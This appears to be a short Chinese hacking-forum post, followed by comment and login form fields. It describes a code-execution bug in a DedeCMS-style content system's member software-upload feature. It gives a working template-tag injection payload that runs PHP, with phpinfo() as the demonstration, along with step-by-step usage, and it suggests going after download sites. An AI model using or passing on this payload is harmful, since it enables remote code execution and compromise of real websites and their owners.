蓝盟诗人[LUC]蓝客联盟
说下利用方法：注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="'']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行。
漏洞鸡肋之处在于经历上次的0day冲击后，很多站点已经关闭了会员功能或者直接删除了member目录，并且没有多少站会有软件栏目的，嗯 ，所以搞搞 下载站之类的差不多了。
用户名： *
电子邮箱： * (保密)
网站网址：
添加评论内容
Ctrl+Enter 快捷回复
Δ
用户名：
密 码：
记住我 忘记密码
电子邮箱：
小提示: 您的密码会通过填写的"电子邮箱"发送给您.
会员登录关闭
注册会员关闭